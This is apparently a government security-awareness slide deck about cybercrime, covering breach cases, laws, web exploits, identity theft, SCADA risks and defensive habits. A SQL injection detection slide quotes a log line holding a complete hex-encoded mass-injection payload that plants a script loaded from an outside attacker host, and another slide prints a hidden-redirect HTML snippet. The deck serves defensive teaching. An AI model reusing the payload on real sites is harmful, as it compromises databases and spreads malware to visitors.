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Purpose and Scope 

 To present the cyber criminal’s view of 

your network and data 

 To present real life examples of cyber 

crime 

 To present preventive measures you can 

take 
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Legal Disclaimer 

 Don’t try this at home 

 Don’t do the crime, if you can’t do the time 
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What is Cybercrime? 

Cybercrime: Criminal activity that utilizes an 

element of a computer or computer 

network 

Examples include:  
 Identity theft 

 Cyber-extortion 

 Information theft 

 Fraud 

 Exploitation of children 

 Intellectual property theft 

 Phishing and Vishing 
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Fraud Example 

 

 
 A State was affected by a scam that ended 

up costing the State millions of dollars due 

to their financial systems paying fraudulent 

bills 

 

 

 

 

 
http://www.kutv.com/content/news/topnews/story/State-Scammed-Out-Of-Millions/4ZjofT4bs0Sa7fwuBPG75A.cspx  

 

http://www.kutv.com/content/news/topnews/story/State-Scammed-Out-Of-Millions/4ZjofT4bs0Sa7fwuBPG75A.cspx
http://www.kutv.com/content/news/topnews/story/State-Scammed-Out-Of-Millions/4ZjofT4bs0Sa7fwuBPG75A.cspx
http://www.kutv.com/content/news/topnews/story/State-Scammed-Out-Of-Millions/4ZjofT4bs0Sa7fwuBPG75A.cspx
http://www.kutv.com/content/news/topnews/story/State-Scammed-Out-Of-Millions/4ZjofT4bs0Sa7fwuBPG75A.cspx
http://www.kutv.com/content/news/topnews/story/State-Scammed-Out-Of-Millions/4ZjofT4bs0Sa7fwuBPG75A.cspx
http://www.kutv.com/content/news/topnews/story/State-Scammed-Out-Of-Millions/4ZjofT4bs0Sa7fwuBPG75A.cspx
http://www.kutv.com/content/news/topnews/story/State-Scammed-Out-Of-Millions/4ZjofT4bs0Sa7fwuBPG75A.cspx
http://www.kutv.com/content/news/topnews/story/State-Scammed-Out-Of-Millions/4ZjofT4bs0Sa7fwuBPG75A.cspx
http://www.kutv.com/content/news/topnews/story/State-Scammed-Out-Of-Millions/4ZjofT4bs0Sa7fwuBPG75A.cspx
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Targeting Large Payment Processors 

 Heartland Payment Systems (100 million card 

transactions per month) 

 Intrusion in mid-2008 

 Planted malware used to steal credit and debit card 

data 

 World Pay – 1.5 million cards breached (Dec 

23, 2008) 

 “Unnamed Processor” 

 Key logger from 2/08 – 8/08 

 Targeted card-not-present transactions, online and 

call-based transactions and not magnetic-stripe track 

data  
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Statistics 

 Predicted job losses in the US: 

 Attacks from insider breaches: 

 Losses in 2008 due to organized crime, 
hackers and inside jobs: 

 Percentage of data breaches from simple 
ignorance of staff: 

 Amount of overall cybercrimes reported: 

   

 Of the cybercrimes reported, the percent 
that end with a conviction: 

 

 

1.5 million 

18% 

$1 trillion 

88% 

10% 

2% 
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Federal Computer Crime Laws 

 Computer Fraud and Abuse Act of 1986  

 18 USC 1030 

 “Access device statute”  

 18 USC 1029 

 Electronic Communications Privacy Act of 
1986 (ECPA)  

 18 USC 2510 and 2701 

 Cyber Security Enhancement Act of 2002 

 Electronic Espionage Act of 1996 (EEA) 

 Digital Millennium Copyright Act of 1998 
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State Computer Crime Laws 

 Often versions of federal laws where 

interstate commerce is not involved (so 

federal prosecution would not be possible) 

 Specialized crimes 

 Spam (e.g. West Virginia) 

 “Deceiving a machine” Alaska Stat.§11.46.985 

 Computer trespass (Washington) 

 Tampering with an electronic voting machine 

(Texas) 

 Introduction of false data into a bank computer 

(Idaho) 

 Cyberstalking (Rhode Island) 
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Why Did They Become Criminals? 

 They think: 

 It’s not a crime, it’s just a game 

 A lot of people do it 

 I know it’s a crime, but I need money 

 I can hide myself very well 

 No one will investigate it 

 Blackmail or Extortion 

 Easy money 
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Vulnerability Exploit Cycle 

1. New vulnerability found in attacker circles; 
limited exploitation 

2. Vulnerability becomes known outside 
circle and gets wider exploitation 

3. Automated tools appear; script kiddies run 
tools 

4. A patch for vulnerability appears 

5. Reverse code engineering of patch brings 
more variations 

6. Exploits for a given vulnerability decline  
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Preference of Hackers 

Small Damage 

More Profit 

(Experienced Hacker) 

Severe Damage 

More Profit 

(Almost None) 

Small Damage 

Less  Profit 

(Newbie) 

Severe Damage 

Less Profit 

( Exploit Buyer) 

Damage 

Profit 
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SANS Top Threats 2008 

 Website attacks: exploiting browser holes 

 Botnets 

 Cyber espionage 

 Insider attacks 

 Malware 

 Web application security exploits 

 Social engineering through phishing 
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Common Web Exploits 

 Cross-Site Scripting 

 SQL Injection  

 Remote File Include 

 Clear Text Transmission of Sensitive 

Information 

 Hard-Coded Password 

 Execution with Unnecessary Privileges  
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SQL Injection Attacks   

 11% of dynamic websites are vulnerable 
to SQL injection 

 Over 500,000 web servers compromised 
world wide (2008) 

 Hidden I-Frame redirects: 

 Attacks use SQL injection to silently re-direct 
web clients from trusted (but compromised) 
web sites to sites hosting malicious 
JavaScript. Installs key loggers, Trojan horse 
programs and more onto visitor’s PC. 

Video: SQL Injection 

 

http://whitehat1969.googlepages.com/SQL_Injection_POC.htm
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Hidden Re-Directs   

 Inject hidden re-directs into everyday 

sites using XSS and SQL injection: 

 <u style="display: none"><A 

href="hxxp://www.sample.com/click.jsp?redir

ect=HxxP://12345678.com/Fin.php? 

=835&t=porn">viagra porn</A> 

 Results: 

 Push Malware / Key loggers 

 Increase Google ranking 
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SQL Injection Attacks - Detection   

 Google 

 "src=<script src=http://" site:yoursite.com  

OR yoursite2.org  

 attacker.cn site:.com 
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SQL Injection Attacks - Detection   

 Search web logs with BareGrep for 
“DECLARE” 

       2008-07-22 19:04:08 192.168.173.69 - <removed> <removed> 80 GET /directory/hax04.cfm 
SubjectID=18&RecNum=3980';DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415
245204054207661726368617228323535292C40432076617263686172283430303029204445434C41524
5205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622
E6E616D652066926F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726
520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3
939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E7874797065
3D31363729204F50454E2054616269655F437572736F72204645544348204E4558542046524F4D20205
461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F53544154
55533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B4
0432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633D2268
7474703A2F2F312E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D2D2727207
76865726520272B40432B27206E6F74206C696B6520272725223E3C2F74697469653E3C73637269707
4207372633D22687474703A2F2F312E766572796E782E636E2F772E6A73223E3C2F7363726970743E3
C212D2D272727294645694348204E4558542046524F4D20205461626C655F437572736F7220494E544
F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F434154452
05461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S); 200 0 33180 1549 390 HTTP/1.1  

 Search DB tables for “src=<script 
src=http” 
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SQL Injection - Remediation   

 Immediately disconnect the webpage 

 Input validation – Type, length and format 

 White List – Only allow required characters 

 Black List – Disallow bad characters 

 Review logs 

 Turn off debugging 

 Use parameterized queries 

 Apply least privilege access to web 
applications 
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Hall of Shame - AKILL 

 “AKILL” 18 year old New Zealander  

 Hacker for hire 

 Made 25 cents per adware installed (net 

$40,000) 

 His malware used in a $20 Million heist 

 Encrypted Botnet controlled 1.3 Million hosts, and 

did $20 Million in damages 

 AKILL controlled 50,000 bots 

 Charged as a result of the FBI’s Operation 

Bot Roast II 
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Insider Threat 

 Troubled economy and lay-offs increase the 

insider risk 

 60 percent of ex-employees leave with insider 

information 

 Enforce termination procedures 

 Limit access to those who need it 

 

 

 

 
http://www.thetechherald.com/article.php/200909/3019/Almost-sixty-percent-of-ex-employees-leave-jobs-with-insider-information 
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Myths 

 Myths 

 I’m not a big enough target 

 They can have my data, I don’t care 

 We’ve never been hacked 

 Nobody would target me 

 My firewall protects us 

 My password is strong 
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LinkedIn & Facebook Malware 

 Created phony celebrity LinkedIn profiles 

with malware links reporting to be pictures 

of nude celebrities 

 Fake profiles included: singer Beyoncé, 

Kirsten Dunst and Kate Hudson 

 

 

http://www.computerworld.com/action/article.do?command=viewArticleBasic&articleId=332205 
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Malware Tricks 

 Pr0n codecs 

 Phony multimedia player downloads  

 Pr0n Blackmail 

 Fake Anti-virus pop-up 
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Identity Theft 

 Who??  

 Traditional scam artists 

 Large organized criminal elements 

 Why?? 

 Low risk, high reward crime 

 It is all about money 

Directly to use your accounts or identity 

 To resell your accounts or identity on the 

black market 

 Average “take” from Identity Theft is almost 10 

times greater than from armed robbery 
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Preventing Identity Theft 

 Do not give private information over the phone to 

unknown callers 

 Do not send private information through e-mail to 

unknown recipients 

 Shred sensitive documents and junk mail 

 Check your credit report at least once a year 

 Only use secure internet sites for e-commerce 

 Do not open spam 

 

Example (Free AV software) 
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Spam is Hostile 

 Spam can be dangerous 

 Never click on the opt-out link! 

 Tells spammers they found a working address 

 What should you do? 

 Filter it out whenever possible 

 Just delete the email 
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SCADA 

 Supervisory Control And Data Acquisition  
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SCADA Issues 

 Legacy equipment 

 Security agnostic 

 Vulnerabilities backfit and security often turned off 

 Will be around for at least another 5 years 

 New equipment 

 Vulnerabilities designed in 

 Will become pervasive for the next 15-20 years 

 Future equipment 

 Security and performance part of initial design criteria 
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Other SCADA Vulnerabilities 

 Dial-ups still being used with new equipment 

 Use of wireless modems, bluetooth, web services, 

Telnet, SNMP, DCOM, ActiveX, and other 

vulnerable applications in new equipment  
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New SCADA Technologies 
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Twitter Password Crack 

 Used dictionary attack against Twitter 

admin= Crystal 

 Many accounts compromised: President-

Elect Barack Obama's, and Fox News 

 Prevention 

 Complex passwords 

 Account lockout after 5 bad attempts 

 Limit admin tools to administrators 

password = happyiness 
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If You Remember Nothing Else … 

 Promptly apply patches 

 Run anti-virus software configured to update 

daily, use on-access/on-demand scanning, and 

perform a full scan at least weekly 

 Use a firewall (either software or hardware) and 

configure for the most restrictive setting that still 

allows you to do required work 

 Select good, strong passwords and use them 

everywhere 

 Think BEFORE you click!! 
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Zombies Ahead 



Security Awareness Material 

 www.illinois.gov/bccs/services/catalog/security/

assessments/Pages/awareness.aspx 
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